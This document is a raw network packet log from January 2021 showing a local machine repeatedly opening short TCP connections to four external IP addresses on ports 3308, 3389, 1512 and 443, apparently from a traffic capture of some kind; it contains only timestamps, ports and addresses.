Jan 11, 2021 20:47:50.410525084 CET	49180	3308	192.168.2.22	80.86.91.27
Jan 11, 2021 20:47:50.454006910 CET	3308	49180	80.86.91.27	192.168.2.22
Jan 11, 2021 20:47:50.568926096 CET	3308	49180	80.86.91.27	192.168.2.22
Jan 11, 2021 20:47:50.568978071 CET	3308	49180	80.86.91.27	192.168.2.22
Jan 11, 2021 20:47:50.569075108 CET	49180	3308	192.168.2.22	80.86.91.27
Jan 11, 2021 20:47:50.569116116 CET	49180	3308	192.168.2.22	80.86.91.27
Jan 11, 2021 20:47:50.572367907 CET	49180	3308	192.168.2.22	80.86.91.27
Jan 11, 2021 20:47:50.616031885 CET	3308	49180	80.86.91.27	192.168.2.22
Jan 11, 2021 20:47:50.685553074 CET	49181	3389	192.168.2.22	5.100.228.233
Jan 11, 2021 20:47:50.739985943 CET	3389	49181	5.100.228.233	192.168.2.22
Jan 11, 2021 20:47:50.740114927 CET	49181	3389	192.168.2.22	5.100.228.233
Jan 11, 2021 20:47:50.741559982 CET	49181	3389	192.168.2.22	5.100.228.233
Jan 11, 2021 20:47:50.795671940 CET	3389	49181	5.100.228.233	192.168.2.22
Jan 11, 2021 20:47:50.819432974 CET	3389	49181	5.100.228.233	192.168.2.22
Jan 11, 2021 20:47:50.819480896 CET	3389	49181	5.100.228.233	192.168.2.22
Jan 11, 2021 20:47:50.819540977 CET	49181	3389	192.168.2.22	5.100.228.233
Jan 11, 2021 20:47:50.819578886 CET	49181	3389	192.168.2.22	5.100.228.233
Jan 11, 2021 20:47:50.833111048 CET	49181	3389	192.168.2.22	5.100.228.233
Jan 11, 2021 20:47:50.898154974 CET	3389	49181	5.100.228.233	192.168.2.22
Jan 11, 2021 20:47:50.898437977 CET	49181	3389	192.168.2.22	5.100.228.233
Jan 11, 2021 20:47:50.909661055 CET	49181	3389	192.168.2.22	5.100.228.233
Jan 11, 2021 20:47:50.909720898 CET	49181	3389	192.168.2.22	5.100.228.233
Jan 11, 2021 20:47:50.963795900 CET	3389	49181	5.100.228.233	192.168.2.22
Jan 11, 2021 20:47:50.964149952 CET	49181	3389	192.168.2.22	5.100.228.233
Jan 11, 2021 20:47:51.003117085 CET	3389	49181	5.100.228.233	192.168.2.22
Jan 11, 2021 20:47:51.017996073 CET	3389	49181	5.100.228.233	192.168.2.22
Jan 11, 2021 20:47:51.018038988 CET	3389	49181	5.100.228.233	192.168.2.22
Jan 11, 2021 20:47:51.108370066 CET	3389	49181	5.100.228.233	192.168.2.22
Jan 11, 2021 20:47:51.108417988 CET	3389	49181	5.100.228.233	192.168.2.22
Jan 11, 2021 20:47:51.108536959 CET	49181	3389	192.168.2.22	5.100.228.233
Jan 11, 2021 20:47:51.108587980 CET	49181	3389	192.168.2.22	5.100.228.233
Jan 11, 2021 20:47:51.121623039 CET	49181	3389	192.168.2.22	5.100.228.233
Jan 11, 2021 20:47:51.175776005 CET	3389	49181	5.100.228.233	192.168.2.22
Jan 11, 2021 20:47:51.232033968 CET	49182	1512	192.168.2.22	46.105.131.65
Jan 11, 2021 20:47:51.290020943 CET	1512	49182	46.105.131.65	192.168.2.22
Jan 11, 2021 20:47:51.290132999 CET	49182	1512	192.168.2.22	46.105.131.65
Jan 11, 2021 20:47:51.291585922 CET	49182	1512	192.168.2.22	46.105.131.65
Jan 11, 2021 20:47:51.344322920 CET	1512	49182	46.105.131.65	192.168.2.22
Jan 11, 2021 20:47:51.351246119 CET	1512	49182	46.105.131.65	192.168.2.22
Jan 11, 2021 20:47:51.351273060 CET	1512	49182	46.105.131.65	192.168.2.22
Jan 11, 2021 20:47:51.351361036 CET	49182	1512	192.168.2.22	46.105.131.65
Jan 11, 2021 20:47:51.367228985 CET	49182	1512	192.168.2.22	46.105.131.65
Jan 11, 2021 20:47:51.423288107 CET	1512	49182	46.105.131.65	192.168.2.22
Jan 11, 2021 20:47:51.423548937 CET	49182	1512	192.168.2.22	46.105.131.65
Jan 11, 2021 20:47:51.436914921 CET	49182	1512	192.168.2.22	46.105.131.65
Jan 11, 2021 20:47:51.437314034 CET	49182	1512	192.168.2.22	46.105.131.65
Jan 11, 2021 20:47:51.490829945 CET	1512	49182	46.105.131.65	192.168.2.22
Jan 11, 2021 20:47:51.491045952 CET	49182	1512	192.168.2.22	46.105.131.65
Jan 11, 2021 20:47:51.527714014 CET	1512	49182	46.105.131.65	192.168.2.22
Jan 11, 2021 20:47:51.545475960 CET	1512	49182	46.105.131.65	192.168.2.22
Jan 11, 2021 20:47:51.648981094 CET	1512	49182	46.105.131.65	192.168.2.22
Jan 11, 2021 20:47:51.649028063 CET	1512	49182	46.105.131.65	192.168.2.22
Jan 11, 2021 20:47:51.649250031 CET	49182	1512	192.168.2.22	46.105.131.65
Jan 11, 2021 20:47:51.654822111 CET	49182	1512	192.168.2.22	46.105.131.65
Jan 11, 2021 20:47:51.707753897 CET	1512	49182	46.105.131.65	192.168.2.22
Jan 11, 2021 20:47:51.778599977 CET	49183	443	192.168.2.22	77.220.64.37
Jan 11, 2021 20:47:51.830849886 CET	443	49183	77.220.64.37	192.168.2.22
Jan 11, 2021 20:47:51.831017017 CET	49183	443	192.168.2.22	77.220.64.37
Jan 11, 2021 20:47:51.832719088 CET	49183	443	192.168.2.22	77.220.64.37
Jan 11, 2021 20:47:51.884763956 CET	443	49183	77.220.64.37	192.168.2.22
Jan 11, 2021 20:47:51.899759054 CET	443	49183	77.220.64.37	192.168.2.22
Jan 11, 2021 20:47:51.899873018 CET	49183	443	192.168.2.22	77.220.64.37
Jan 11, 2021 20:47:51.914860010 CET	49183	443	192.168.2.22	77.220.64.37
Jan 11, 2021 20:47:51.969316006 CET	443	49183	77.220.64.37	192.168.2.22
Jan 11, 2021 20:47:51.969528913 CET	49183	443	192.168.2.22	77.220.64.37
Jan 11, 2021 20:47:51.982867002 CET	49183	443	192.168.2.22	77.220.64.37
Jan 11, 2021 20:47:51.983042955 CET	49183	443	192.168.2.22	77.220.64.37
Jan 11, 2021 20:47:52.038469076 CET	443	49183	77.220.64.37	192.168.2.22
Jan 11, 2021 20:47:52.038710117 CET	49183	443	192.168.2.22	77.220.64.37
Jan 11, 2021 20:47:52.071310997 CET	443	49183	77.220.64.37	192.168.2.22
Jan 11, 2021 20:47:52.093046904 CET	443	49183	77.220.64.37	192.168.2.22
Jan 11, 2021 20:47:52.208601952 CET	443	49183	77.220.64.37	192.168.2.22
Jan 11, 2021 20:47:52.208647966 CET	443	49183	77.220.64.37	192.168.2.22
Jan 11, 2021 20:47:52.208801985 CET	49183	443	192.168.2.22	77.220.64.37
Jan 11, 2021 20:47:52.214989901 CET	49183	443	192.168.2.22	77.220.64.37
Jan 11, 2021 20:47:52.267116070 CET	443	49183	77.220.64.37	192.168.2.22
Jan 11, 2021 20:47:52.323925972 CET	49184	3308	192.168.2.22	80.86.91.27
Jan 11, 2021 20:47:52.367263079 CET	3308	49184	80.86.91.27	192.168.2.22
Jan 11, 2021 20:47:52.367407084 CET	49184	3308	192.168.2.22	80.86.91.27
Jan 11, 2021 20:47:52.368904114 CET	49184	3308	192.168.2.22	80.86.91.27
Jan 11, 2021 20:47:52.412060022 CET	3308	49184	80.86.91.27	192.168.2.22
Jan 11, 2021 20:47:52.422991037 CET	3308	49184	80.86.91.27	192.168.2.22
Jan 11, 2021 20:47:52.423033953 CET	3308	49184	80.86.91.27	192.168.2.22
Jan 11, 2021 20:47:52.423119068 CET	49184	3308	192.168.2.22	80.86.91.27
Jan 11, 2021 20:47:52.423166037 CET	49184	3308	192.168.2.22	80.86.91.27
Jan 11, 2021 20:47:52.437930107 CET	49184	3308	192.168.2.22	80.86.91.27
Jan 11, 2021 20:47:52.483217955 CET	3308	49184	80.86.91.27	192.168.2.22
Jan 11, 2021 20:47:52.483371019 CET	49184	3308	192.168.2.22	80.86.91.27
Jan 11, 2021 20:47:52.495723009 CET	49184	3308	192.168.2.22	80.86.91.27
Jan 11, 2021 20:47:52.496125937 CET	49184	3308	192.168.2.22	80.86.91.27
Jan 11, 2021 20:47:52.539320946 CET	3308	49184	80.86.91.27	192.168.2.22
Jan 11, 2021 20:47:52.539613008 CET	49184	3308	192.168.2.22	80.86.91.27
Jan 11, 2021 20:47:52.579343081 CET	3308	49184	80.86.91.27	192.168.2.22
Jan 11, 2021 20:47:52.582797050 CET	3308	49184	80.86.91.27	192.168.2.22
Jan 11, 2021 20:47:52.582825899 CET	3308	49184	80.86.91.27	192.168.2.22
Jan 11, 2021 20:47:52.695519924 CET	3308	49184	80.86.91.27	192.168.2.22
Jan 11, 2021 20:47:52.695559025 CET	3308	49184	80.86.91.27	192.168.2.22
Jan 11, 2021 20:47:52.695799112 CET	49184	3308	192.168.2.22	80.86.91.27
Jan 11, 2021 20:47:52.701416016 CET	49184	3308	192.168.2.22	80.86.91.27
Jan 11, 2021 20:47:52.744627953 CET	3308	49184	80.86.91.27	192.168.2.22
Jan 11, 2021 20:47:52.817598104 CET	49185	3389	192.168.2.22	5.100.228.233
Jan 11, 2021 20:47:52.871557951 CET	3389	49185	5.100.228.233	192.168.2.22
Jan 11, 2021 20:47:52.871666908 CET	49185	3389	192.168.2.22	5.100.228.233
Jan 11, 2021 20:47:52.872672081 CET	49185	3389	192.168.2.22	5.100.228.233
Jan 11, 2021 20:47:52.926167965 CET	3389	49185	5.100.228.233	192.168.2.22
Jan 11, 2021 20:47:52.940964937 CET	3389	49185	5.100.228.233	192.168.2.22
Jan 11, 2021 20:47:52.941011906 CET	3389	49185	5.100.228.233	192.168.2.22
Jan 11, 2021 20:47:52.941045046 CET	49185	3389	192.168.2.22	5.100.228.233
Jan 11, 2021 20:47:52.941078901 CET	49185	3389	192.168.2.22	5.100.228.233
Jan 11, 2021 20:47:52.945960999 CET	49185	3389	192.168.2.22	5.100.228.233
Jan 11, 2021 20:47:53.005331039 CET	3389	49185	5.100.228.233	192.168.2.22
Jan 11, 2021 20:47:53.005624056 CET	49185	3389	192.168.2.22	5.100.228.233
Jan 11, 2021 20:47:53.015650034 CET	49185	3389	192.168.2.22	5.100.228.233
Jan 11, 2021 20:47:53.015804052 CET	49185	3389	192.168.2.22	5.100.228.233
Jan 11, 2021 20:47:53.069737911 CET	3389	49185	5.100.228.233	192.168.2.22
Jan 11, 2021 20:47:53.070002079 CET	49185	3389	192.168.2.22	5.100.228.233
Jan 11, 2021 20:47:53.109134912 CET	3389	49185	5.100.228.233	192.168.2.22
Jan 11, 2021 20:47:53.123626947 CET	3389	49185	5.100.228.233	192.168.2.22
Jan 11, 2021 20:47:53.123671055 CET	3389	49185	5.100.228.233	192.168.2.22
Jan 11, 2021 20:47:53.212973118 CET	3389	49185	5.100.228.233	192.168.2.22
Jan 11, 2021 20:47:53.213012934 CET	3389	49185	5.100.228.233	192.168.2.22
Jan 11, 2021 20:47:53.213073015 CET	49185	3389	192.168.2.22	5.100.228.233
Jan 11, 2021 20:47:53.213133097 CET	49185	3389	192.168.2.22	5.100.228.233
Jan 11, 2021 20:47:53.215126038 CET	49185	3389	192.168.2.22	5.100.228.233
Jan 11, 2021 20:47:53.260313034 CET	80	49165	198.54.125.162	192.168.2.22
Jan 11, 2021 20:47:53.260582924 CET	49165	80	192.168.2.22	198.54.125.162
Jan 11, 2021 20:47:53.268928051 CET	3389	49185	5.100.228.233	192.168.2.22
Jan 11, 2021 20:47:53.321948051 CET	49186	1512	192.168.2.22	46.105.131.65
Jan 11, 2021 20:47:53.374896049 CET	1512	49186	46.105.131.65	192.168.2.22
Jan 11, 2021 20:47:53.375031948 CET	49186	1512	192.168.2.22	46.105.131.65
Jan 11, 2021 20:47:53.376866102 CET	49186	1512	192.168.2.22	46.105.131.65
Jan 11, 2021 20:47:53.429745913 CET	1512	49186	46.105.131.65	192.168.2.22
Jan 11, 2021 20:47:53.437628984 CET	1512	49186	46.105.131.65	192.168.2.22
Jan 11, 2021 20:47:53.437664032 CET	1512	49186	46.105.131.65	192.168.2.22
Jan 11, 2021 20:47:53.437724113 CET	49186	1512	192.168.2.22	46.105.131.65
Jan 11, 2021 20:47:53.437764883 CET	49186	1512	192.168.2.22	46.105.131.65
Jan 11, 2021 20:47:53.454437971 CET	49186	1512	192.168.2.22	46.105.131.65
Jan 11, 2021 20:47:53.508589983 CET	1512	49186	46.105.131.65	192.168.2.22
Jan 11, 2021 20:47:53.508778095 CET	49186	1512	192.168.2.22	46.105.131.65
Jan 11, 2021 20:47:53.518960953 CET	49186	1512	192.168.2.22	46.105.131.65
Jan 11, 2021 20:47:53.519340038 CET	49186	1512	192.168.2.22	46.105.131.65
Jan 11, 2021 20:47:53.572379112 CET	1512	49186	46.105.131.65	192.168.2.22
Jan 11, 2021 20:47:53.572588921 CET	49186	1512	192.168.2.22	46.105.131.65
Jan 11, 2021 20:47:53.611232042 CET	1512	49186	46.105.131.65	192.168.2.22
Jan 11, 2021 20:47:53.625525951 CET	1512	49186	46.105.131.65	192.168.2.22
Jan 11, 2021 20:47:53.728543997 CET	1512	49186	46.105.131.65	192.168.2.22
Jan 11, 2021 20:47:53.728584051 CET	1512	49186	46.105.131.65	192.168.2.22
Jan 11, 2021 20:47:53.728725910 CET	49186	1512	192.168.2.22	46.105.131.65
Jan 11, 2021 20:47:53.734282970 CET	49186	1512	192.168.2.22	46.105.131.65
Jan 11, 2021 20:47:53.787178993 CET	1512	49186	46.105.131.65	192.168.2.22
Jan 11, 2021 20:47:53.852564096 CET	49187	443	192.168.2.22	77.220.64.37
Jan 11, 2021 20:47:53.904684067 CET	443	49187	77.220.64.37	192.168.2.22
Jan 11, 2021 20:47:53.904802084 CET	49187	443	192.168.2.22	77.220.64.37
Jan 11, 2021 20:47:53.906447887 CET	49187	443	192.168.2.22	77.220.64.37
Jan 11, 2021 20:47:53.958250999 CET	443	49187	77.220.64.37	192.168.2.22
Jan 11, 2021 20:47:53.972881079 CET	443	49187	77.220.64.37	192.168.2.22
Jan 11, 2021 20:47:53.972990036 CET	49187	443	192.168.2.22	77.220.64.37
Jan 11, 2021 20:47:53.991039038 CET	49187	443	192.168.2.22	77.220.64.37
Jan 11, 2021 20:47:54.045654058 CET	443	49187	77.220.64.37	192.168.2.22
Jan 11, 2021 20:47:54.045898914 CET	49187	443	192.168.2.22	77.220.64.37
Jan 11, 2021 20:47:54.056487083 CET	49187	443	192.168.2.22	77.220.64.37
Jan 11, 2021 20:47:54.056898117 CET	49187	443	192.168.2.22	77.220.64.37
Jan 11, 2021 20:47:54.108733892 CET	443	49187	77.220.64.37	192.168.2.22
Jan 11, 2021 20:47:54.108920097 CET	49187	443	192.168.2.22	77.220.64.37
Jan 11, 2021 20:47:54.160999060 CET	443	49187	77.220.64.37	192.168.2.22
Jan 11, 2021 20:47:54.278650045 CET	443	49187	77.220.64.37	192.168.2.22
Jan 11, 2021 20:47:54.278695107 CET	443	49187	77.220.64.37	192.168.2.22
Jan 11, 2021 20:47:54.278932095 CET	49187	443	192.168.2.22	77.220.64.37
Jan 11, 2021 20:47:54.284480095 CET	49187	443	192.168.2.22	77.220.64.37
Jan 11, 2021 20:47:54.336404085 CET	443	49187	77.220.64.37	192.168.2.22
Jan 11, 2021 20:47:54.398678064 CET	49188	3308	192.168.2.22	80.86.91.27
Jan 11, 2021 20:47:54.441874027 CET	3308	49188	80.86.91.27	192.168.2.22
Jan 11, 2021 20:47:54.442063093 CET	49188	3308	192.168.2.22	80.86.91.27
Jan 11, 2021 20:47:54.443541050 CET	49188	3308	192.168.2.22	80.86.91.27
Jan 11, 2021 20:47:54.486803055 CET	3308	49188	80.86.91.27	192.168.2.22
Jan 11, 2021 20:47:54.502254963 CET	3308	49188	80.86.91.27	192.168.2.22
Jan 11, 2021 20:47:54.502299070 CET	3308	49188	80.86.91.27	192.168.2.22
Jan 11, 2021 20:47:54.502433062 CET	49188	3308	192.168.2.22	80.86.91.27
Jan 11, 2021 20:47:54.518539906 CET	49188	3308	192.168.2.22	80.86.91.27
Jan 11, 2021 20:47:54.563940048 CET	3308	49188	80.86.91.27	192.168.2.22
Jan 11, 2021 20:47:54.564035892 CET	49188	3308	192.168.2.22	80.86.91.27
Jan 11, 2021 20:47:54.572630882 CET	49188	3308	192.168.2.22	80.86.91.27
Jan 11, 2021 20:47:54.572743893 CET	49188	3308	192.168.2.22	80.86.91.27
Jan 11, 2021 20:47:54.615927935 CET	3308	49188	80.86.91.27	192.168.2.22
Jan 11, 2021 20:47:54.616216898 CET	49188	3308	192.168.2.22	80.86.91.27
Jan 11, 2021 20:47:54.656194925 CET	3308	49188	80.86.91.27	192.168.2.22
Jan 11, 2021 20:47:54.659537077 CET	3308	49188	80.86.91.27	192.168.2.22
Jan 11, 2021 20:47:54.659588099 CET	3308	49188	80.86.91.27	192.168.2.22
Jan 11, 2021 20:47:54.772775888 CET	3308	49188	80.86.91.27	192.168.2.22
Jan 11, 2021 20:47:54.772818089 CET	3308	49188	80.86.91.27	192.168.2.22
Jan 11, 2021 20:47:54.773027897 CET	49188	3308	192.168.2.22	80.86.91.27
Jan 11, 2021 20:47:54.778594971 CET	49188	3308	192.168.2.22	80.86.91.27
Jan 11, 2021 20:47:54.821836948 CET	3308	49188	80.86.91.27	192.168.2.22
Jan 11, 2021 20:47:54.900221109 CET	49189	3389	192.168.2.22	5.100.228.233
Jan 11, 2021 20:47:54.953979969 CET	3389	49189	5.100.228.233	192.168.2.22
Jan 11, 2021 20:47:54.954068899 CET	49189	3389	192.168.2.22	5.100.228.233
Jan 11, 2021 20:47:54.955533028 CET	49189	3389	192.168.2.22	5.100.228.233
Jan 11, 2021 20:47:55.009135962 CET	3389	49189	5.100.228.233	192.168.2.22
Jan 11, 2021 20:47:55.029925108 CET	3389	49189	5.100.228.233	192.168.2.22
Jan 11, 2021 20:47:55.029963970 CET	3389	49189	5.100.228.233	192.168.2.22
Jan 11, 2021 20:47:55.030025959 CET	49189	3389	192.168.2.22	5.100.228.233
Jan 11, 2021 20:47:55.030064106 CET	49189	3389	192.168.2.22	5.100.228.233
Jan 11, 2021 20:47:55.034758091 CET	49189	3389	192.168.2.22	5.100.228.233
Jan 11, 2021 20:47:55.092766047 CET	3389	49189	5.100.228.233	192.168.2.22
Jan 11, 2021 20:47:55.092828035 CET	49189	3389	192.168.2.22	5.100.228.233
Jan 11, 2021 20:47:55.099982977 CET	49189	3389	192.168.2.22	5.100.228.233
Jan 11, 2021 20:47:55.100074053 CET	49189	3389	192.168.2.22	5.100.228.233
Jan 11, 2021 20:47:55.153601885 CET	3389	49189	5.100.228.233	192.168.2.22
Jan 11, 2021 20:47:55.153675079 CET	49189	3389	192.168.2.22	5.100.228.233
Jan 11, 2021 20:47:55.193372011 CET	3389	49189	5.100.228.233	192.168.2.22
Jan 11, 2021 20:47:55.208798885 CET	3389	49189	5.100.228.233	192.168.2.22
Jan 11, 2021 20:47:55.208837986 CET	3389	49189	5.100.228.233	192.168.2.22
Jan 11, 2021 20:47:55.299423933 CET	3389	49189	5.100.228.233	192.168.2.22
Jan 11, 2021 20:47:55.299468994 CET	3389	49189	5.100.228.233	192.168.2.22
Jan 11, 2021 20:47:55.299500942 CET	49189	3389	192.168.2.22	5.100.228.233
Jan 11, 2021 20:47:55.299530983 CET	49189	3389	192.168.2.22	5.100.228.233
Jan 11, 2021 20:47:55.301628113 CET	49189	3389	192.168.2.22	5.100.228.233
Jan 11, 2021 20:47:55.355227947 CET	3389	49189	5.100.228.233	192.168.2.22
Jan 11, 2021 20:47:55.421771049 CET	49190	1512	192.168.2.22	46.105.131.65
Jan 11, 2021 20:47:55.475090027 CET	1512	49190	46.105.131.65	192.168.2.22
Jan 11, 2021 20:47:55.475173950 CET	49190	1512	192.168.2.22	46.105.131.65
Jan 11, 2021 20:47:55.476129055 CET	49190	1512	192.168.2.22	46.105.131.65
Jan 11, 2021 20:47:55.529242992 CET	1512	49190	46.105.131.65	192.168.2.22
Jan 11, 2021 20:47:55.536240101 CET	1512	49190	46.105.131.65	192.168.2.22
Jan 11, 2021 20:47:55.536273956 CET	1512	49190	46.105.131.65	192.168.2.22
Jan 11, 2021 20:47:55.536323071 CET	49190	1512	192.168.2.22	46.105.131.65
Jan 11, 2021 20:47:55.536364079 CET	49190	1512	192.168.2.22	46.105.131.65
Jan 11, 2021 20:47:55.543557882 CET	49190	1512	192.168.2.22	46.105.131.65
Jan 11, 2021 20:47:55.597835064 CET	1512	49190	46.105.131.65	192.168.2.22
Jan 11, 2021 20:47:55.597920895 CET	49190	1512	192.168.2.22	46.105.131.65
Jan 11, 2021 20:47:55.601929903 CET	49190	1512	192.168.2.22	46.105.131.65
Jan 11, 2021 20:47:55.602077007 CET	49190	1512	192.168.2.22	46.105.131.65
Jan 11, 2021 20:47:55.655324936 CET	1512	49190	46.105.131.65	192.168.2.22
Jan 11, 2021 20:47:55.655572891 CET	49190	1512	192.168.2.22	46.105.131.65
Jan 11, 2021 20:47:55.691632986 CET	1512	49190	46.105.131.65	192.168.2.22
Jan 11, 2021 20:47:55.708822012 CET	1512	49190	46.105.131.65	192.168.2.22
Jan 11, 2021 20:47:55.812566042 CET	1512	49190	46.105.131.65	192.168.2.22
Jan 11, 2021 20:47:55.812616110 CET	1512	49190	46.105.131.65	192.168.2.22
Jan 11, 2021 20:47:55.812736988 CET	49190	1512	192.168.2.22	46.105.131.65
Jan 11, 2021 20:47:55.812796116 CET	49190	1512	192.168.2.22	46.105.131.65
Jan 11, 2021 20:47:55.816060066 CET	49190	1512	192.168.2.22	46.105.131.65
Jan 11, 2021 20:47:55.869162083 CET	1512	49190	46.105.131.65	192.168.2.22
Jan 11, 2021 20:47:55.927897930 CET	49191	443	192.168.2.22	77.220.64.37
Jan 11, 2021 20:47:55.979825974 CET	443	49191	77.220.64.37	192.168.2.22
Jan 11, 2021 20:47:55.980005980 CET	49191	443	192.168.2.22	77.220.64.37
Jan 11, 2021 20:47:55.981733084 CET	49191	443	192.168.2.22	77.220.64.37
Jan 11, 2021 20:47:56.033307076 CET	443	49191	77.220.64.37	192.168.2.22
Jan 11, 2021 20:47:56.048129082 CET	443	49191	77.220.64.37	192.168.2.22
Jan 11, 2021 20:47:56.048278093 CET	49191	443	192.168.2.22	77.220.64.37
Jan 11, 2021 20:47:56.065781116 CET	49191	443	192.168.2.22	77.220.64.37
Jan 11, 2021 20:47:56.119863033 CET	443	49191	77.220.64.37	192.168.2.22
Jan 11, 2021 20:47:56.119962931 CET	49191	443	192.168.2.22	77.220.64.37
Jan 11, 2021 20:47:56.123941898 CET	49191	443	192.168.2.22	77.220.64.37
Jan 11, 2021 20:47:56.124109030 CET	49191	443	192.168.2.22	77.220.64.37
Jan 11, 2021 20:47:56.175839901 CET	443	49191	77.220.64.37	192.168.2.22
Jan 11, 2021 20:47:56.175954103 CET	49191	443	192.168.2.22	77.220.64.37
Jan 11, 2021 20:47:56.227715015 CET	443	49191	77.220.64.37	192.168.2.22
Jan 11, 2021 20:47:56.346740007 CET	443	49191	77.220.64.37	192.168.2.22
Jan 11, 2021 20:47:56.346786022 CET	443	49191	77.220.64.37	192.168.2.22
Jan 11, 2021 20:47:56.346898079 CET	49191	443	192.168.2.22	77.220.64.37
Jan 11, 2021 20:47:56.346961975 CET	49191	443	192.168.2.22	77.220.64.37
Jan 11, 2021 20:47:56.352368116 CET	49191	443	192.168.2.22	77.220.64.37
Jan 11, 2021 20:47:56.404155016 CET	443	49191	77.220.64.37	192.168.2.22
Jan 11, 2021 20:47:56.472670078 CET	49192	3308	192.168.2.22	80.86.91.27
Jan 11, 2021 20:47:56.516055107 CET	3308	49192	80.86.91.27	192.168.2.22
Jan 11, 2021 20:47:56.516175985 CET	49192	3308	192.168.2.22	80.86.91.27
Jan 11, 2021 20:47:56.517155886 CET	49192	3308	192.168.2.22	80.86.91.27
Jan 11, 2021 20:47:56.560374022 CET	3308	49192	80.86.91.27	192.168.2.22
Jan 11, 2021 20:47:56.574965954 CET	3308	49192	80.86.91.27	192.168.2.22
Jan 11, 2021 20:47:56.574997902 CET	3308	49192	80.86.91.27	192.168.2.22
Jan 11, 2021 20:47:56.575081110 CET	49192	3308	192.168.2.22	80.86.91.27
Jan 11, 2021 20:47:56.575169086 CET	49192	3308	192.168.2.22	80.86.91.27
Jan 11, 2021 20:47:56.581640959 CET	49192	3308	192.168.2.22	80.86.91.27
Jan 11, 2021 20:47:56.626524925 CET	3308	49192	80.86.91.27	192.168.2.22
Jan 11, 2021 20:47:56.626636028 CET	49192	3308	192.168.2.22	80.86.91.27
Jan 11, 2021 20:47:56.633440018 CET	49192	3308	192.168.2.22	80.86.91.27
Jan 11, 2021 20:47:56.633651972 CET	49192	3308	192.168.2.22	80.86.91.27
Jan 11, 2021 20:47:56.677306890 CET	3308	49192	80.86.91.27	192.168.2.22
Jan 11, 2021 20:47:56.677448988 CET	49192	3308	192.168.2.22	80.86.91.27
Jan 11, 2021 20:47:56.716109991 CET	3308	49192	80.86.91.27	192.168.2.22
Jan 11, 2021 20:47:56.720689058 CET	3308	49192	80.86.91.27	192.168.2.22
Jan 11, 2021 20:47:56.720731020 CET	3308	49192	80.86.91.27	192.168.2.22
Jan 11, 2021 20:47:56.833240986 CET	3308	49192	80.86.91.27	192.168.2.22
Jan 11, 2021 20:47:56.833266020 CET	3308	49192	80.86.91.27	192.168.2.22
Jan 11, 2021 20:47:56.833498001 CET	49192	3308	192.168.2.22	80.86.91.27
Jan 11, 2021 20:47:56.837770939 CET	49192	3308	192.168.2.22	80.86.91.27
Jan 11, 2021 20:47:56.881006956 CET	3308	49192	80.86.91.27	192.168.2.22
Jan 11, 2021 20:47:56.956758022 CET	49193	3389	192.168.2.22	5.100.228.233
Jan 11, 2021 20:47:57.010370970 CET	3389	49193	5.100.228.233	192.168.2.22
Jan 11, 2021 20:47:57.010467052 CET	49193	3389	192.168.2.22	5.100.228.233
Jan 11, 2021 20:47:57.011926889 CET	49193	3389	192.168.2.22	5.100.228.233
Jan 11, 2021 20:47:57.065340042 CET	3389	49193	5.100.228.233	192.168.2.22
Jan 11, 2021 20:47:57.089880943 CET	3389	49193	5.100.228.233	192.168.2.22
Jan 11, 2021 20:47:57.089899063 CET	3389	49193	5.100.228.233	192.168.2.22
Jan 11, 2021 20:47:57.090007067 CET	49193	3389	192.168.2.22	5.100.228.233
Jan 11, 2021 20:47:57.101455927 CET	49193	3389	192.168.2.22	5.100.228.233
Jan 11, 2021 20:47:57.161909103 CET	3389	49193	5.100.228.233	192.168.2.22
Jan 11, 2021 20:47:57.162177086 CET	49193	3389	192.168.2.22	5.100.228.233
Jan 11, 2021 20:47:57.176017046 CET	49193	3389	192.168.2.22	5.100.228.233
Jan 11, 2021 20:47:57.176264048 CET	49193	3389	192.168.2.22	5.100.228.233
Jan 11, 2021 20:47:57.229703903 CET	3389	49193	5.100.228.233	192.168.2.22
Jan 11, 2021 20:47:57.229841948 CET	49193	3389	192.168.2.22	5.100.228.233
Jan 11, 2021 20:47:57.269356966 CET	3389	49193	5.100.228.233	192.168.2.22
Jan 11, 2021 20:47:57.283309937 CET	3389	49193	5.100.228.233	192.168.2.22
Jan 11, 2021 20:47:57.283329010 CET	3389	49193	5.100.228.233	192.168.2.22
Jan 11, 2021 20:47:57.374418020 CET	3389	49193	5.100.228.233	192.168.2.22
Jan 11, 2021 20:47:57.374475002 CET	3389	49193	5.100.228.233	192.168.2.22
Jan 11, 2021 20:47:57.374742031 CET	49193	3389	192.168.2.22	5.100.228.233
Jan 11, 2021 20:47:57.380292892 CET	49193	3389	192.168.2.22	5.100.228.233
Jan 11, 2021 20:47:57.434298992 CET	3389	49193	5.100.228.233	192.168.2.22
Jan 11, 2021 20:47:57.498094082 CET	49194	1512	192.168.2.22	46.105.131.65
Jan 11, 2021 20:47:57.551265001 CET	1512	49194	46.105.131.65	192.168.2.22
Jan 11, 2021 20:47:57.551376104 CET	49194	1512	192.168.2.22	46.105.131.65
Jan 11, 2021 20:47:57.551925898 CET	49194	1512	192.168.2.22	46.105.131.65
Jan 11, 2021 20:47:57.604907990 CET	1512	49194	46.105.131.65	192.168.2.22
Jan 11, 2021 20:47:57.612050056 CET	1512	49194	46.105.131.65	192.168.2.22
Jan 11, 2021 20:47:57.612091064 CET	1512	49194	46.105.131.65	192.168.2.22
Jan 11, 2021 20:47:57.612149954 CET	49194	1512	192.168.2.22	46.105.131.65
Jan 11, 2021 20:47:57.612312078 CET	49194	1512	192.168.2.22	46.105.131.65
Jan 11, 2021 20:47:57.621283054 CET	49194	1512	192.168.2.22	46.105.131.65
Jan 11, 2021 20:47:57.675604105 CET	1512	49194	46.105.131.65	192.168.2.22
Jan 11, 2021 20:47:57.675791025 CET	49194	1512	192.168.2.22	46.105.131.65
Jan 11, 2021 20:47:57.685786963 CET	49194	1512	192.168.2.22	46.105.131.65
Jan 11, 2021 20:47:57.686044931 CET	49194	1512	192.168.2.22	46.105.131.65
Jan 11, 2021 20:47:57.739139080 CET	1512	49194	46.105.131.65	192.168.2.22
Jan 11, 2021 20:47:57.739363909 CET	49194	1512	192.168.2.22	46.105.131.65
Jan 11, 2021 20:47:57.775820971 CET	1512	49194	46.105.131.65	192.168.2.22
Jan 11, 2021 20:47:57.792690992 CET	1512	49194	46.105.131.65	192.168.2.22
Jan 11, 2021 20:47:57.890819073 CET	1512	49194	46.105.131.65	192.168.2.22
Jan 11, 2021 20:47:57.890855074 CET	1512	49194	46.105.131.65	192.168.2.22
Jan 11, 2021 20:47:57.891102076 CET	49194	1512	192.168.2.22	46.105.131.65
Jan 11, 2021 20:47:57.896595955 CET	49194	1512	192.168.2.22	46.105.131.65
Jan 11, 2021 20:47:57.949628115 CET	1512	49194	46.105.131.65	192.168.2.22
Jan 11, 2021 20:47:58.018112898 CET	49195	443	192.168.2.22	77.220.64.37
